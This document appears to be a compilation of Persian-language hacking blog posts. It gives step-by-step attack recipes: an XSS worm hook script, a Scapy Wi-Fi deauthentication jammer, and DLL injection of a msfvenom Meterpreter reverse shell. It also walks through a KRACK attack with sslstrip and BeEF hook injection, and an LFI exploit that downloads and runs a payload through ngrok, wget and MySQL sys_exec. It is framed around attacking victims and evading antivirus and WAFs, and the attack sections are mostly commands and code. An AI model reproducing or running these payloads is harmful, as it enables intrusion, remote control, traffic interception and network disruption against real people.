به نظر بنده آسیب پذیری XSS میتونه یکی از اون دسته آسیب پذیری ها باشه که در بسیاری از فضای های سخت و محافظت شده خودی نشون بده و موجب حمله های سنگینی بشه دلیلم چیه؟ دلیل من این نکته هستش که اولا شما آسیب پذیری XSS زمانی که پیدا میکنید حواستون به این قضیه شاید نباشه که خیلی از Detection ها قابلیت برخورد قدرتمند با پایلود های Javascript ندارن چرا که یک زبان و Transfer عادی براشون تلقی میشه زمانی که شما وبسایتی رو باز میکند مگر کدهای جاوا اسکریپتی برای شما ارسال نمیکنه سرور؟ آیا اگر یک کد ماینر بر مبنای JS برای شما در سورس صفحه وبسایت ارسال کنه فایروال های سخت و نرم متوجه خواهند شد؟ جواب اینه که در خیلی از موارد خیر چرا که کدهای JS همیشه برای Detection ها همیشه مجوز Trust رو با خودش داره اما جدیدا آنتی ویروس هایی مانند Kasper این کدهارو هم مورد تحلیل قرار میدن و بررسی میکنند که البته با تکنیک های مبهم سازی(Obfuscation) به راحتی میشه از سد این سیستم های شناسایی هم در رفت اما همه اینارو گفتم که این نکته رو بیان کنم که در آسیب پذیری DOM-based XSS به دلیل اینکه کد JS که شما تزریق میکند به قسمت آسیب پذیر وبسایت به سمت سرور نمیره و صرفا در همون سورس صفحه و Reflective عمل میکنه اصلا قابل شناسایی نیست ,اما نکته مهمی که باید حتمی بگم اینه که فرق DOM-based XSS با بقیه روش های XSS آیا فقط تو همین نکته هستش ؟ خیر ما برای اینکه روش DOM-Based رو درک کنیم اول باید مفهوم Document Object Model که مخفف DOM هستش رو درک کنیم در زبان برنامه نویسی سمت کابر Javascript ما مفهومی رو دارم تحت عنوان Object ها که بر بستر Document های JS قابل دسترس هستند و کارهای مختلفی انجام میدن آسیب پذیری DOM-based XSS از اونجای سر چشمه میگیره که Developer بیاد از Document.Object هایی در صفحه سایت استفاده کنه که هکر ها میتونن روش اثر بزارن لیستی از Object های آسیب پذیر رو در اینجا شرح میدم

Write raw HTML:
document.write(…)
document.writeln(…)
document.body.innerHtml=…

Directly modifying the DOM (including DHTML events):
document.forms[0].action=… (and various other collections)
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body. … (accessing the DOM through the body object)
window.attachEvent(…)

Replacing the document URL:
document.location=… (and assigning to location’s href, host and hostname)
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
window.navigate(…)

Opening/modifying a window:
document.open(…)
window.open(…)
window.location.href=… (and assigning to location’s href, host and hostname)

Directly executing script:
eval(…)
window.execScript(…)
window.setInterval(…)
window.setTimeout(…)

این لیست از Object ها میتونن آسیب پذیر باشن چطور؟ یک نمونه مثال میزنم فرض کنید یک وبسایت میاد و یک variable تعریف میکنه که پارامتری به اسم name داره که ورودی رو میتونه با متد GET دریافت کنه

PART II …

https://website.com/tests/sinks.html

var username = searchParams.get(‘name’); if (username !== null) { document.getElementById(‘p1’).innerHTML = ‘Hello, ‘ + username + ‘!’; } و در ادامه با استفاده از Object innerHTML به اون پارامتر دریافتی یک hello اضافه میکنه خب آیا یک هکر میتونه در ورودی پارامتر name تزریق کد JS داشته باشه ؟ جواب بله هستش چرا که اولا دریافت ورودی درست نیست و اصلا چک نمیشه دوم استفاده از document.getElementById(‘p1’).innerHTML هستش چراکه من کافیه مقدار document رو عوض کنم و مثلا با استفاده از تگ img تابع alert() رو صدا کنم چراکه پارامتر استفاده شده searchParams هستش و در ادامه استفاده از تگ img میام یک onerror src میکنم و تابع alert()

https://website.com/tests/sinks.html?name=<img+src+onerror=alert(1)&gt; و اگر تست کنید میبینید تزریق به درستی انجام میشه این تکنیک از XSS بحث زیادی داره من فقط یک مثال کوچیک از یک Object فقط زدم دیگه راجب تابع های مثل document.write() و غیره صحبتی نکردم که میتونید در چنل های پرایوت منابع کاملتری رو مشاهده کنید.
https://en.wikipedia.org/wiki/Document_Object_Model
https://www.netsparker.com/blog/web-security/dom-based-cross-site-scripting-vulnerability/

#XSS Worm Payloads
برخی ها به اشتباه XSS Worm رو در کنار روش های XSS میارن که در صورت درست XSS Worm یک سبک از پایلود ریزی هست و روش نیست.

خب مفهوم XSS Worm چی هستش؟ در یک جواب خیلی ساده یک نوع از حملات XSS محسوب میشه که پتانسیل تکثیر و تکرار داره و برای عملیات های خاصی که میتونه مثلا هدفش جمع کردن فالوور باشه یا عوض کردن رمز ها یا هر هدف دیگه ای میتونه باشه,نقطه تمرکز این سبک از حملات همونطور که گفتم اینه که تکثیر بشه یعنی MultiThread باشه و تکرار هم داشته باشه یعنی چرخه بی پایان در طراحیش به کار رفته باشه,اما چطور این سبک از حملات پایلود ریزی میشه?به پایلود زیر دقت کنید

http://(Website)/search.php?user=%3Cscript%20src=//(NoIP)/xsshook.js%3E%3C/script%3E خب اگر دقت کرده باشید یک پایلودی داریم که به یک فایل js داره src میزنه یعنی درصفحه آسیب پذیر ما عمیات lhook صورت خواهد گرفت,اما اصل ماجرا بر بستر کدهایی هستش که در همون فایل js ما که قراره hook بشه چرا که مهمه بدونیم بر مبنای چه سناریویی قرار طرح ریزی بشه

Open terminal
1.touch xsshook.js && nano xsshook.js Added

x = new XMLHttpRequest(); x.open(‘POST’, ‘home.php’, true); x.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’); x.send(‘post=</textarea><br><a href=”‘ + document.URL + ‘”>Check this!</a>’); fr = document.createElement(‘iframe’); fr.setAttribute(‘name’, ‘myFrame’); fr.setAttribute(‘style’, ‘display:none’); document.body.appendChild(fr); fo = document.createElement(‘form’); fo.setAttribute(‘method’, ‘post’); fo.setAttribute(‘action’, ‘profile.php?id=100’); fo.setAttribute(‘target’, ‘myFrame’); i = document.createElement(‘input’); i.setAttribute(‘type’, ‘hidden’); i.setAttribute(‘name’, ‘follow’); fo.appendChild(i); fo.elements[0].value=’follow’; document.body.appendChild(fo); fo.submit(); Save & Close
2.service apache2 start && mv xsshook.js /var/www/html/ خب سناریو ما در این مثال اینه که با استفاده از دزدیدن Cookie های کاربرهای قربانی شکل خواهد گرفت,فرض کنید قراره در یک شبکه اجتماعی نقش فالوو کردن یک Username خاصی رو ایفا کنه پایلود ما در صفحه ای که امکان درخواست فالوو وجود که داره اسمش profile.php?id=100 هستش.
چهار خط اول یک متقییر x تعریف کردیم که مقدار XMLHttpRequest() بهش داده میشه تا خاصیت زدن Request فراهم بشه و Options هاشو میچینیم با متد POST به صفحه home.php با Content-type application مقدارهایی رو پرتاب میکنیم که مبنی بر درخواست follow هستش,در متغییر fr یک Element از نوع iframe ساخته شده و اون رو appendChild میکنیمش در چهار خط بعدی متغییر fo که مقادیری که فرامین قراره به صفحه ای که پارامتر follow داره رو تنظیم میکنیم در متغییر i ورودی ساخته شده که قراره username کسی که قراره فالوو بشه داده خواهد شد پس یک بار اگر به صورت کلی این موضوع رو بخواهیم ببینیم این میشه که پایلود ما به واسطه یک چرخه ای با استفاده از addone Selenium IDE ایجاد میکنیم که یکسره js اجرا و عملیات follow انجام بشه.
https://en.wikipedia.org/wiki/XSS_worm
https://addons.mozilla.org/en-US/firefox/addon/selenium-ide/

#Security Voice
مهران طُرِیحی متولد ۱۳۶۰ در تهران و فارغ‌التحصیل رشتهٔ مهندسی فناوری اطلاعات گرایش تجارت الکترونیک از دانشگاه صنعتی خواجه نصیرالدین طوسی است.گپ و گفت با یک امنیت کار قدیمی.

#WiFi Attack Senarios (Scapy)
تو این پست روش های معمول حمله به شبکه های بی سیم رو با هم بررسی میکنیم و تا اونجا که امکان داره تمام ابعادش رو باز خواهیم کرد.

همون طور که برنامه نویس های عزیز پایتونی میدونن کتابخونه قدرتمندی در پایتون وجود داره که میتونه این امکان رو به ما بده که بصورت customize عملیات هایی رو بر روی شبکه های بیسیم انجام بدیم اسم این کتابخونه scapy هستش من در اول صحبت هام میخوام ویژگی های این کتابخونه رو با یکی دوتا اسکریپت نشون بدم اگر جا شد استفاده از ابزارها برای حمله به شبکه های بیسیم رو هم خواهم گفت,خب این کتابخونه توابع زیادی برای مانور دادن داره که ما در قالب یک اسکریپت jammer اونهارو معرفی میکنم خدمتون 🙂

Open terminal
1.airmon-ng check kill 2.airmon-ng start wlan0 3.touch deauthentication.py && nano deauthentication.py Added

#!/usr/bin/env python import sys from scapy.all import * conf.iface = sys argv[1] apmac = sys.argv[2] clientmac = sys.argv[3] count = sys.argv[4] conf.verb = 0 packet = RadioTap()/Dot11(type=0,subtype=12,addr1=clientmac,addr2=apmac,addr3=apmac)/Dot11Deauth(reason=7) for n in range(int(count)): sendp(packet) print ‘Send Baster Deauth to AP :’ + apmac + ‘ and Client: ‘ + clientmac Save & Close
4.python deauthentication.py wlan0mon (MAC-AP) (MAC-Client) 1000 خب ما دوتا کتابخونه import کردیم با نام های scapy و sys و در ادامه ۴ ورودی رو با استفاده از کتابخونه sys میگیریم اولی برای معرفی interface هستش که شبکه وای فای ما به روی اون وجود داره خب ورودی دوم برای مک آدرس وای فای قربانی هست و ورودی سوم برای مک آدرس دیوایسی هستش که به اون وای فای قربانی وصل هستش و عدد 100 نشون میده که قرار 100 تا پرتاب نویز انجام بشه اما متغییر packet تابعی رو با نام RadioTab() مقدار میگیره که قراره ورودی هایی رو میگیره که مشاهده میکنید مثل clientmac-apmac اما نقطه ای که باعت نویز میشه کجاست؟ خب اگر شما به معادل مقدار Dot11Deauth دقت کنید متوجه خواهید شد که مقدار Null رو با خودش داره در نتیجه اگر به سمت Access Point ارسال بشه اون AP متوجه Packet نمیشه و همین موضوع باعث تداخل کار WiFi خواهد شد این نکته رو هم باید بگم که مفهوم Dot11 در کتابخونه scapy اشاره به content یک پکت داره که خب همونطور که گفتم ما معادل مقدار null یعنی Dot11Deauth پر بشه,حالا تنها کاری در ادامه انجام میدیم اینه که یک حلقه for تعریف کنیم و مقداره count که برابر با ورودی argv[4] رو به حلقه بدیم تا اون مقداری که ما مد نظر خودمون داریم چرخه ارسال packet ساخته شده customize مارو انجام بده اگر کمی خلاق باشید و این اسکریپت رو بصورت شناسایی خودکار AP رو بهش اضافه کنید میتونیم شاهد حملات noise سنگینی بر روی دیوایس های مختلفی باشیم این تنها یک نمونه از کارکرد scapy هستش .
https://github.com/secdev/scapy

#Roadmap Certification Hackers
بحث راجب دوره های استاندارد و سرفصل های استاندارد و قیمت این مباحث همیشه جالشی بوده در فضای های گفتگو سایبری ایران,بصورت اجمالی به این موضوع میپردازم.

#CISSP
مدرک (CISSP (Certified Information Systems Security Professional اولین مدرک در زمینه امنیت اطلاعات بوده که اعتبار آن در سازمان استانداردهای ملی آمریکا (ANSI) و سازمان استاندارهای جهانی (ISO) تصویب شد. همچنین در زمینه دانش فنی و مدیریتی تضمین اطلاعات، توسط وزارت دفاع آمریکا (DoD) تائید شده است.
مدرک CISSP عمق و وسعت دانش یک فرد را با تمرکز بر8 دامنه امنیت اطلاعات (Information Security) مورد ارزشیابی قرار می‌دهد که این 8 دامنه عبارتنداز :

Security and Risk Management
Asset Security
Security Engineering
Communications and Network Security
Identity and Access Management
Security Assessment and Testing
Security Operations
Software Development Security

#CISSP-ISSEP
یکی از گرایش های مدرک CISSP می باشد و توسط ISC2 و NSA (آژانس امنیت ملی ایالات متحده) طراحی شده است. دوره CISSP-ISSEP بر روی برخی از دامنه های مدرک CISSP تأکید بیشتری دارد و هدف آن یکپارچه نمودن امنیت در سطح پردازش ها، برنامه های کاربردی و همه بخش هایی که نیاز به امنیت دارند می باشد. دوره CISSP-ISSEP به افراد توانایی ارائه راهکار و اجرائی نمودن آنها توسط Best Pratice و استانداردهای کاربردی را می دهد.

#CISA
با توجه به افزایش تقاضا برای متخصصین دارای مهارت‌‌های بازرسی، کنترل و امنیت سیستم‌های اطلاعاتی، کسب مدرک (CISA (Certified Information Systems Auditor در سرتاسر دنیا برای شرکت‌ها و افراد شناخته شده است. این مدرک، به عنوان استانداردی برای افرادی است که فناوری اطلاعات و سیستم‌های کسب و کار سازمان‌ها را بازرسی، کنترل، مانیتور، و ارزیابی می‌کنند. این مدرک مورد تائید موسسه استانداردهای ملی آمریکا (ANSI) است. از ابتدای پیدایش این مدرک در سال 1978 بیش از 85.000 نفر این مدرک را کسب کرده‌اند. CISA برای افرادی که در زمینه بازرسی، کنترل و یا امنیت سیستم های اطلاعاتی تجربه دارند، طراحی شده است.

#NSE 6-4
در دوره NSE 6-4 می‌آموزید چگونه قابلیت‌های رایج FortiWeb را پیکربندی و مدیریت کنید. همچنین، توزیع بار (Load Balancing)، توزیع لینک (Link Balancing)، HA، و پالیسی‌های فایروال در لایه 4 و 7 را فرا خواهید گرفت.

#DEV541
دوره DEV541 که توسط شرکت SANS ارائه می شود بر روی نوشتن کد امن در فریم ورک جاوا و کاهش تهدیدات در لایه های ابتدایی برنامه نویسی میباشد افراد پس ازگذراندن این دوره تسلط کافی به روش های ایجاد امنیت در لایه کد نویسی را پیدا خواهند کرد.

#DEV544
دوره DEV544 که توسط شرکت SANS ارائه میگردد به افراد توانایی نوشتن کد امن در سطح فریم ورک.NET. را می دهد و اکثرا تهدیدات پیرامون وب و شیوه جلوگیری از ان در فریم ورک.NET آموزش داده می شود.

#Blackhat #Roadmap

CEH: Certified Ethical Hacker
CCISO: Certified Chief Information Security Officer
ECSA (Practical)
CASE: Certified Application Security Engineer
CTIA: Certified Threat Intelligence Analyst

تا اینجای کار مدارک و roadmap دفاعی امنیت سایبری رو بیان شد حالا میخوام با استانداردهای دوره های بلک هت رو براتون شرح بدم به سایت بلک هت میریم و در قسمت training سرفصل هارو بررسی میکنیم

https://www.blackhat.com/asia-19/training/schedule/

میتونید برای نمونه به قسمت دوره Advanced Windows Exploitation برید و سرفصل هاش رو بررسی کنید تا متوجه شویداین کانال های تلگرامی که همشون آخر اسم کانالشون یک security زدن دارن چه خزعبلاتی رو به اسم دوره به ملت میندازن

https://www.blackhat.com/asia-19/training/schedule/#advanced-windows-exploitation-13558

لینک های بعدی مدارک تخصصی مؤسسه SANS هستش در حوزه امنیت

https://www.sans.org/cyber-security-skills-roadmap
https://www.sans.org/courses/

و در آخر هم معتبرترین مدارکی که از نظره بنده تو حوزه Penetration Testing وجود داره رو میتونید ببیند.

https://www.giac.org/certifications/pen-testing

#DLL Injection
تکنیک تزریق DLL همیشه تکنیک مورد استفاده هکرها بوده چراکه از نامحسوسی خاصی برخورداره و میتونه به عنوان بکدور نقش ایفا کنه.

روش های زیادی داره اینکار اما من اینجا روشی رو آماده کردم که بر بستر تزریق اشاره بر بستر پشته خود برنامه هدف هستش,خب اول این نکته رو بگم ما یک DLL باید از Msfvenom خروجی بگیریم که خب چون من میخوام یک سری اصلاحات انجام بدم روی فایل DLL خودم ترجیح میدم سورس پایلود DLL رو دانلود و یک سری تغییرات بش بدم

Open terminal
1.wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/templates/src/pe/dll/template.c 2.wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/templates/src/pe/dll/template.h 3.msfvenom -p windows/meterpreter/reverse_tcp LHOST=(NoIP) LPORT=5555 EXITFUNC=thread -f c Copy CHAR Buff

4.leafpad template.h Edit

#define SCSIZE 2048 unsigned char code[SCSIZE] = “PAYLOAD”; Added

#define SCSIZE 2048 unsigned char code[SCSIZE] = “Paste CHAR Buff”; Save & Close
5.i686-w64-mingw32-gcc template.c -o template.dll -shared Open new tab
6.msfconsole -q -x “use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST (NoIP);set LPORT 5555;set ReverseListenerBindAddress (LAN);set InitialAutoRunScript migrate -f;set EXITFUNC thread;exploit -j” خب در عملیات بالا ما سورس پایلود DLL رو از github فریمورک metasploit دانلود کردیم و در ادامه یک شلکد به زبان C ساختیم با Msfvenom و فایل tamplate.h رو باز و شلکد رو اونجا که کلمه Paste بکار رفته جایگزین کردیم و باز در ادامه سورس کد رو Compile کردیم اینجاس که پایلود RAT ما آماده شده و در ادامه یک تب دیگه در ترمینال لینوکس باز کردیم و دستور Listing متاسپلویت رو اجرا کردیم تا زمانی که پایلود اجرا شد دسترسی رو ما بگیریم اکی تا اینجای کار داشتیم DLL رو آماده میکردیم حالا میریم که DLL رو به برنامه Notepad که اینجا برنامه هدف ماست برای تزریق DLL با برنامه Ollydbg باز کنیم تا عملیات اشاره برنامه Notepad به پایلود مارو انجام بدیم برای اینکار ما نیاز به انجام چهار مرحله داریم

1.لود کردن dll توی حافظه هستش (LoadLibraryA),نکته:توجه داشته باشید که dll توی مسیر فایل باشه وگرنه نمیتونه لودش کنه.
2.بدست آوردن آدرس تابعی که میخوایم فراخوانی کنیم(GetProcAddress)
3.فراخوانی تابع
4.آزاد سازی (FreeLibrary.dll) (این کار الزامی نیست میتونید فقط برای مخفی کاری این کارو انجام بدید)

خب حالا میمونه انتخاب یک برنامه برای عملیات تزریق فراخوانی پایلود DLL ما که واسه اینکار من برنامه Notepad رو انتخاب میکنم با برنامه Ollydbg باز میکنم و یک بار اجرا میکنم تا آدرس نقطه شروع برنامه رو پیدا کنیم به قسمت پایین برنامه میریم تا یک آدرس خالی پیدا کنیم تا دستورات مربوط به تزریق رو اونجا انجام بدیم فرض کنید من پایین برنامه آدرس های NOP پیدا کردم و همون هارو واسه کار خودم قرار میدم مثلا آدرس اینه 010087B0 آدرس شروع برنامه هم اینه 0100739D خب من میام به آدرس 0100739D دستور پرش به آدرس NOP خودم رو میدم کلیک راست روی آدرس میکنم و گزینه Assemble رو میزنم و در ادامه دستور پرش پایین رو jmp 010087B0
پس با این توضیحات کد ما یه چیز تو مایه های این باید باشه:

push offset “template.dll” آفست نام کتابخانه روی پشته قرار میگیره
call LoadLibraryA این تابع با آفست بالا فراخوانی می شه
push offset “ExecutePayload” آفست روی پشته قرار میگیره,اگه نام نباشه اوردینال رو روی پشته قرار میدیم
push eax مقدار برگشتی تابع بالا توی این رجیستر هستش که رو پشته قرارمیدیم
call GetProcAddress این تابع با دو آرگومان بالا فراخوانی میشه
push parameter1 اگه تابع ما پارامتر داشته باشه روی پشته قرار میدیم
call eax اینجا تابع ما فراخوانی میشه

حالا من نام (template) و نام تابع (ExecutePayload) رو بالاتر از فضایی که پیدا کردم قرار میدم.
نحوه فراخوانی توابع هستند یعنی ما اینجا نمیتونیم بنویسیم Call LoadLibraryA باید آدرس این تابع رو بدست بیاریم و ازطریق آدرسش فراخوانیش کنیم.
نحوه بدست آوردن آدرس توابع هم آسونه توی ollydbg دکمه های ctrl+N رو بزنید بعد توی پنجره ای که باز میشه نام توابع رو تایپ کنید بعد از پیدا کردن روی تابع راست کلیک کنید و گزینه ای که در شکل میبینید رو انتخاب کنید بعد ما به آدرس تابع میریم.آدرس تابع رو بردارید تا ازش استفاده کنیم.
بعد نتیجه رو ذخیره میکنیم و تست میکنیم میبینیم که اول پایلود ما اجرا میشه بعد notepad اجرا میشه. یادتون باشه که dll باید توی دایرکتوری باشه که notepad هستش.
https://en.wikipedia.org/wiki/DLL_injection

#KRACK Attacks
آسیب پذیری تزریق Handshake الگوریتم رمز نگاری WPA2 که با نام Krack شناخته میشه رو بصورت عملی کار خواهیم کرد و با تاکتیک های پایلود ریزی اون آشنا خواهیم شد.

خب قبل از اجرای مراحل عملی سناریو چگونگی سوءاستفاده این آسیب پذیری رو تشریح میکنم و کاری که ما در عمل باید انجام بدیم,صحبت راجب این آسیب پذیری زیاده که من اینجا زیاد نمیتونم ریز بشم به دلیل محدودیت حجم پست,خب این آسیب پذیری مشهوره به نصب دوباره هندشیک یعنی چی یعنی برای ارتباط یک Client با یک AP چهار مرحله Message به هم ارسال میکنند که یکی از Message ها برای تعیین الگو رمزنگاری که برپایه AES هستش که بعد از سر آخر مرحله Message Exchanged برای Client ارسال میشه و اعلام الگو میشه و مرحله چهارم رمز برسی خواهد شد خب اگر یک هکر در سه مرحله اول که با نام 4-way handshake شناخته میشه Message های Nonce رو دستکاری کنه که حاوی GTK دیوایس سیستم عامل هکر باشه اینجا میتونه مقدار Nonce Client رو 0 کنه که به معنی الگو رمزنگاری هستش که اگر روی عدد یک باشه یعنی اینطور IV=1 و خب میتونه Message PTK رو دریافت کنه که حاوی مقدار Fresh Session Key هستش و اینجا PTK دوباره نصب میشه با این تفاوت که اینبار ارتباط با وای فای هکر که هم نام وای فای قربانی هست عوض میشه بدون اینکه دیوایس قربانی بویی ببره شما تصور کنید گوشیتون در ۲ ثانیه یک Disconnect و Connect براش رخ میده و چک میکنید میبینید مشکلی نیست و به وای فای خودتون وصل هستید اما اینطور نیست و شما خبر ندارید که به وای فای هکر وصل هستید و الگو رمزنگاری ارتباطی شما هم عوض شده به الگویی که هکر برایتون تدارک دیده اینجاس که تمام ترافیک شما شنود میشه حتی ترافیک SSL شما.

نکته برای این حمله دو عدد Access Point نیاز دارید با یک مودم همراه که با USB اینترنت رو برای شما فراهم کنه.

Open terminal
1.airmon-ng 2.airmon-ng check kill 3.airmon-ng start wlan0 4.airodump-ng wlan0mon Wait Scan > Ctrl+C
5.airodump-ng –bssid (BSSID) -c (Channel#) -w AVI wlan0mon Copy Station (MAC-Client) & Stop Airodump Ctrl+C
6.airmon-ng stop wlan0mon 7.service network-manager restart Open new tab
8.sudo apt -y install libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev net-tools sysfsutils python-scapy python-pycryptodome mitmf python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
9.pip install –user mitm_channel_based virtualenvwrapper 10.git clone https://github.com/lucascouto/krackattack-all-zero-tk-key.git 11.cd krackattack-all-zero-tk-key/krackattack && chmod 755 * 12../krack_all_zero_tk.py wlan1 wlan0 usb0 “(ESSID)” -t (MAC-Client)
Open new tab
13.sslstrip -w sslstrip.log Open new tab
14.driftnet -i wlan1 Open new tab
15.git clone https://github.com/byt3bl33d3r/MITMf.git && cd MITMf && chmod 755 * && pip install -r requirements.txt && git submodule init && git submodule update –recursive && cd ../ 16.netdiscover Copy TARGET-IP
17.cd /usr/share/beef-xss/ && ./beef Open new tab
18.mitmf -i wlan1 –inject –js-url http://LAN:3000/hook.js Visit > http://LAN:3000/ui/panel > User&Pass (beef) 🙂

تا خط 7 شما Mac آدرس دیوایس قربانی رو به دست میارید و در خط 8 پکیج های مورد نیاز نصب میشه خط 10 اسکریپت دانلود میشه خط 12 هم wlan1 میشه دومین AP شما Wlan0 میشه اولین AP شما usb0 میشه مودم همراه اینترنت دار شما و ESSID میشه اسم وای فای یا همون AP قربانی و MAC-Client هم میشه MAC Address دیوایس قربانی که حالا میتونه یک گوشی اندرویدی باشه که تو قسمت Station ابزار Airodump آدرسش گیر امد و سر آخر خط 13 دستور استفاده از ابزار sslstrip هستش که برای شما ترافیک قربانی رو شنود میکنه حتی اگر دارای رمزنگاری SSL باشه,خط 14 هم برای شنود تصاویری هست که در ترافیک قربانی رد و بدل میشه,برای تزریق پایلود JS فریمورک BeEF بعد از اتصال قربانی آی پیش رو در خط 16 بدست میاریم و در خط 17 فریمورک BeEF رو Start میکنیم در خط 18 با استفاده از ابزار MITMf تزریق پایلود رو انجام میدیم و در مرورگر پنل فریمورک BeEF دسترسی مرورگر رو داریم.
https://www.krackattacks.com
https://github.com/lucascouto/krackattack-all-zero-tk-key

#LFI to Meterpreter
شاید زمان اون فرا رسیده که کمی راجب تکنیک های پسا آسیب پذیری صحبت کنیم و سناریو های بعد از کشف آسیب پذیری رو بررسی کنیم که این پست موضوعش آسیب پذیری LFI هستش.

 

خب اولین آسیب پذیری که میخوام تکنیک های پس از حمله اون رو شرح بدم آسیب پذیری LFI یا Local File Include هستش میدونم در مورد خود آسیب پذیری حمله اطلاع دارن پس راجبش توضیحی نمیدم اما چالش هایی که پس از کشف آسیب پذیری وجود داره و اینکه چطور میشه یک دسترسی غیرقابل ردیابی داشت هم صحبت خواهیم کرد,دوستانی که میخوان کپی کنن حواسشون باشه این پست کمی فکر کنم دردسر بشه پخش کردنش:)

ما در اولین مرحله نیاز داریم تا یک پورت بر روی سرویس #Ngrok که قبلا پستش رو زدم میتونید آموزشش رو ببینید

خب پس ما یک پورت از ngrok میگیریم

Open terminal
1.proxychains ngrok 5555 و آدرس و پورتی که به ما میده که رو به روی کلمه Copy Forwarding (LinkTCP) هستش رو کپی میکنیم یچیزی تو این مایه ها

0.tcp.ngrok.io:10235 بعد از بدست آوردن پورت با استفاده از پایلود web_delivery میایم و یک دانلودر میسازیم دقت کنید

2.msfconsole -q -x “use multi/script/web_delivery;set target 1;set PAYLOAD php/meterpreter/reverse_tcp;set SRVHOST 127.0.0.1;set SRVPORT 10235;set LHOST 0.tcp.ngrok.io;set LPORT 5555;set ExitOnSession false;set InitialAutoRunScript sysinfo;set EnableStageEncoding true;set StageEncoder php/base64;exploit -j” php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://0.tcp.ngrok.io:10235/UE2G6JF4oRZuR&#8217;));” اگر دقت کرده باشید من SRVPORT رو همون پورتی قرار دادم که ngrok به من داده بود یعنی 10235 باقی ماجرا هم که مشخصه جیه فقط یک نکته دیگه بگم که من از Encoder هم استفاده کردم که یه حالی به AntiSheller ها هم داده باشیم 🙂 اما چطور این پایلود رو بر روی سایت آسیب پذیری بریزیم؟ به ادامه دقت کنید

http://target.com/index.php?language=en

این سایت و نقطه آسیب پذیره ما هستش پارامتر آسیب پذیر هم language هستش حالا پایلود رو میریزم

http://target.com/index.php?language=php://input&cmd=php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://0.tcp.ngrok.io:10235/UE2G6JF4oRZuR&#8217;));” بعد از ریختن پایلود شما باید دسترسی گرفته باشید اگر نگیرید یعنی با WAF ها جلوی شمارو گرفتن یا تابع هایی که پایلود با اونا سروکار داره تو PHP بسته شده یا AntiSheller چیزی شناسایش کرد ما یک راه دیگه رو میریم خب قدم اول راهه بعدی استفاده از SimpleHTTPServer هستش

Open new tab
3.python -m SimpleHTTPServer Open new tab
4.msfvenom –platform linux –arch x64 -p linux/x64/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=10235 -e php/base64 -i 3 R > unk9.vvn دقت داشته باشید تو ساخت پایلود پورت رو همون پورت NGK بدید 🙂 و در ادامه پایلودی که ساختیم رو یه ویرایش ریز میزنیم

5.nano unk9.vvn Edit

eval(base64_decode(ZXZueUtEU………..TNLUzV0S1NrNykpOw))

Added

<php
eval(base64_decode(ZXZueUtEU………..TNLUzV0S1NrNykpOw));?>

Save & Close

ویرایشی که کردیم چیزه خاصی نبود فقط اول کد کلمه <php به معنی فرمت محتوا و آخر کد ?> به معنی پایان محتوای PHP ما بود

Open new tab
6.msfconsole -q -x “use multi/handler;set PAYLOAD linux/x64/meterpreter/reverse_tcp;set LHOST 127.0.0.1;set LPORT 5555;set ExitOnSession false;exploit -j” در اینجا هم که عملیات listing رو انجام دادیم حالا میریم مرحله آخر که پایلود ریزی هست فقط واسه این مرحله مقدار Cookie سایت آسیب پذیر رو هم بدست بیارید که دیگه اونم کاری نداره

7.curl –cookie “(Cookie)” “http://target.com/index.php?language=/proc/self/fd/9%00&cmd=$(php -r “echo urlencode(‘wget (WAN):8000/unk9.vvn -P /tmp && chmod +x /tmp/unk9.vvn && mysql -uroot -e \”SELECT sys_exec(/tmp/unk9.vvn);\”‘);”)” عدد fd/9%00 میتونه تغییرکنه معمولا شماره فایل لاگ از 0 تا 35 میتونه بره باز با Fuzzing روی LFI-FD (پیشنهاد میکنم یک سرچی راجبش بزنید) میتونید با گرفتن Status 200 بفهمید چه عددی هستش من اینجا 9 دادم اما میتونه عدد دیگه ای باشه و باز ما در ادامه با استفاده از صدا زدن cmd بر روی دایرکتوری proc فعال مقدار php رو برای رایت echo کردیم تا پایلود ما از روی سیستم خودمون دانلود و پرمیژن داده بشه و سر آخر با کلک رشتی با استفاده از تابع sys_exec دیتابیس mysql پایلود رو اجرا کردیم تا دسترسی Admin بگیره فکر کنم اندازه یه CTF پیاز داغشو زیاد کردم 🙂 این پایلود تحت شرایط نسبتا خاصی ج میده پس recon خوبی کنید قربانی رو قبل استفاده,راستی پورت 8000 رو فروارد کنید برای SimpleHTTPServer :).
https://github.com/tennc/fuzzdb/blob/master/dict/BURP-PayLoad/LFI/LFI-FD-check.txt
#Ngrok Bypass NAT 🙂
در این پست طریقه دور زدن سیستم محافظتی مودم روتر هارو میزارم البته چیز جدیدی نیست و یک سالی هست که سرویس میده…

#HackerOne
بسیاری از افراد در ایران تصور میکنند از علوم امنیت سایبری نمیتوان درآمدی داشت خوب h1 این موضوع رو رد کرده 🙂 نه تنها به عنوان شکارچی باگ بلکه در مسابقات بیشمارش درآمد حاصل میشه.

یکی از اهداف بنده از دورهمی هایی که ترتیب دادم و اولین جلسش هم در روزهای آینده برگزار میشه به همین موضوع برمیگرده,متاسفانه بسیاری از افراد علاقمند بابت درآمد نداشتن در علوم نفوذ پس از مدتی تحقیقات کار رو رها و روی میبرند به فضاهای دیگه ای که در اونجا درآمد وجود داره البته به اعتقاده بنده یک شخص تکامل یافته در علوم سایبری نه در ایران بلکه در خارج از کشور میتونه شرایط بسیار خوبی رو برای خودش فراهم کنه خیلی بی تعارف بگم بهتون ما تو ایران چیزی به نام عقل جمعی تقریبا نداریم و ۹۰% اشخاص درگیر با علوم سایبری دنبال آپولو هوا کردن هستند درحالی که خودشون از هک فقط با کلاس صحبت کردن رو یاد گرفتن ما نه تنها در فضای سایبری بلکه در اکثرا موضوعات دیگه کشورمون همین وضع رو داریم همه اینا هم بخاطر اینه که هم فرهنگ مردم عقب هست که یکی از خودش نپرسید مدرک روحانی چی بود و همه بهش رای دادن و دلیل دومش هم مدیران خرفت پر ادعا که با هیچ زبونی نمیشه باشون حرف زد بگذریم… خون خودمو کثیف نکنم همه این صحبت هارو کردم تا این نکته رو بگم که دوستان عزیز باور کنید 